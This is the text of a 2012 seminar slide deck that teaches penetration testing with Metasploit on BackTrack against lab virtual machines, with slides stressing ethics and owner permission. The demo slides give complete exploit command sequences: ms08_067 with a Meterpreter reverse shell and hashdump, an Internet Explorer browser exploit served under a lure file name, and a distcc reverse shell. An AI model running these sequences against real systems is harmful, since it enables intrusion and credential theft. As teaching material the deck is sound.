penetration testing with metasploit
Presented by Syarif 3xu5
Seminar IT Security Safe The System Sumedang, April 29 2012 STMIK Sumedang
Sunday, April 29, 12
Agenda
Why & Whats Penetration Testing ( Pentest ) << back|track Overview Metasploit Basic & Meterpreter DEMO :)
Sunday, April 29, 12
Why Do a Pentest
Millions of dollars investment in security A Penetration Test is one of the most
effective ways to identify systemic weaknesses and deciencies in these programs *1) program to protect critical infrastructures , prevent data breaches *1)
Sunday, April 29, 12
Whats Penetration Testing
A method to evaluate the security of computer system / network Practice ( attacking ) an IT System like a hacker do
Find a security holes ( systemic weaknesses ) By pass security mechanism compromise an Organizations IT System Security
Must have a permission from IT System Owner !
illegal activity put you in a Jail
Sunday, April 29, 12
Ethics
Think before Act Dont be Stupid Dont be malicious
Sunday, April 29, 12
Pentest Phase
Reporting Post Exploitation Exploitation Vulnerability Analysis Information Gathering
Sunday, April 29, 12
<< back|track overview
Lets Watching the Video :)
Sunday, April 29, 12
<< back|track overview
The Most Advanced Linux Security Distribution
Real World Pentesting Tools
. Developed for Security Professional
Open Source & Always be
Sunday, April 29, 12
<< back|track overview
Sunday, April 29, 12
<< back|track overview
Sunday, April 29, 12
Whats
Not just a tool, but an entire framework *1) an Open source platform for writing
security tools and exploits *2) exploits, payloads, encoders,
Easily build attack vectors to add its Create and execute more advanced attack Ruby based
Sunday, April 29, 12
Metasploit interfaces
MSFconsole MSFcli msfweb, msfgui ( discontinued ) Metasploit Pro, Metasploit Express Armitage
Sunday, April 29, 12
MSFconsole
Sunday, April 29, 12
MSFcli
Sunday, April 29, 12
Metasploit Terminology
Exploit : code that allow a pentester take some advantages of a aw within system,application, or service *1) Payload : code that we want the target system to execute ( few commands to be executed on the target system ) *1) Shellcode : a set of instructions used as payload when exploitation occurs *1) Module : a software that can be used by metasploit *1) Listener : a component for waiting an incoming connection *1)
Sunday, April 29, 12
How does exploitation works
2 1
exploit + payload exploit run , then payload run
Upload / Download data
attacker
vulnerable server
Sunday, April 29, 12
Traditional Pentest Vs Metasploit
Traditional Pentest
Public Exploit Gathering Change offsets Replace ShellCode
Metasploit for Pentest
Load Metasploit Choose the target OS Use exploit SET Payload Execute
Sunday, April 29, 12
Meterpreter
as a payload after vulnerability is exploited *1) Improve the post exploitation
Sunday, April 29, 12
Meterpreter
Exploiting a vulnerability meterpreter shell Select a meterpreter as a payload
Sunday, April 29, 12
Meterpreter command
Sunday, April 29, 12
Meterpreter command
Sunday, April 29, 12
Meterpreter command
Sunday, April 29, 12
Meterpreter command
Sunday, April 29, 12
Meterpreter command
Sunday, April 29, 12
Pentest Scenario
* attacker vulnerable OS on VMware
* : Ubuntu 8.04 metasploitable
Sunday, April 29, 12
OS in the Lab
BackTrack 5 R 2
IP address : 172.16.240.143
Windows Xp SP 2 IP address : 172.16.240.129
Windows 2003 Server IP address : 172.16.240.141
Windows 7 IP address : 172.16.240.142
Ubuntu Linux 8.04 ( Metasploitable ) IP address : 172.16.240.144
Sunday, April 29, 12
Windows XP Exploitation
msf > search windows/smb msf > info exploit/windows/smb/ms08_067_netapi msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show payloads msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > show options msf exploit(ms08_067_netapi) > set RHOST 172.16.240.129 msf exploit(ms08_067_netapi) > set LHOST 172.16.240.143 msf exploit(ms08_067_netapi) > show options msf exploit(ms08_067_netapi) > exploit meterpreter > background session -l
Sunday, April 29, 12
Windows XP Post Exploitation
session -i 1 meterpreter > getsystem -h getuid hashdump
Sunday, April 29, 12
Windows 2003 Server Exploitation
msf > search windows/smb msf > info exploit/windows/smb/ms08_067_netapi msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show payloads msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > show options msf exploit(ms08_067_netapi) > set RHOST 172.16.240.129 msf exploit(ms08_067_netapi) > set LHOST 172.16.240.143 msf exploit(ms08_067_netapi) > show options msf exploit(ms08_067_netapi) > exploit meterpreter > background session -l
Sunday, April 29, 12
Windows 7 Exploitation
msf > use exploit/windows/browser/ms11_003_ie_css_import msf exploit(ms11_003_ie_css_import) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(ms11_003_ie_css_import) > show options msf exploit(ms11_003_ie_css_import) > set SRVHOST 172.16.240.143 msf exploit(ms11_003_ie_css_import) > set SRVPORT 80 msf exploit(ms11_003_ie_css_import) > set URIPATH miyabi-naked.avi msf exploit(ms11_003_ie_css_import) > set LHOST 172.16.240.143 msf exploit(ms11_003_ie_css_import) > set LPORT 443 msf exploit(ms11_003_ie_css_import) > exploit
Just wait until the victim open the url http://172.16.240.143:80/miyabi-naked.avi
Sunday, April 29, 12
Windows 7 Exploitation
msf exploit(ms11_003_ie_css_import) > sessions -l msf exploit(ms11_003_ie_css_import) > sessions -i 1 meterpreter > sysinfo meterpreter > shell
Sunday, April 29, 12
Ubuntu 8.04 Metasploitable Exploitation
Sunday, April 29, 12
search distcc use exploit/unix/misc/distcc_exec show payloads set PAYLOAD cmd/unix/reverse show options set rhost 172.16.240.144 set lhost 172.16.240.143 exploit
Any Question ?
Contact me
website : http://3x.us Ofcial BackTrack Indonesia Community :
http://indobacktrack.or.id
Email : 3xu5@indobacktrack.or.id twitter : @3xu5
Sunday, April 29, 12
Greet & Thanks To
BackTrack Linux Metasploit Team ( HD Moore & rapid7 ) Offensive Security / Metasploit Unleashed David Kennedy Georgia Weidman
Sunday, April 29, 12
References
Sunday, April 29, 12
1. Metasploit The Penetration Testers Guide : David Kennedy , Jim OGorman, Devon Kearns, Mati Aharoni 2. http://www.metasploit.com 3. http://www.offensive-security.com/metasploitunleashed/Main_Page 4. http://www.pentest-standard.org/index.php/ PTES_Technical_Guidelines
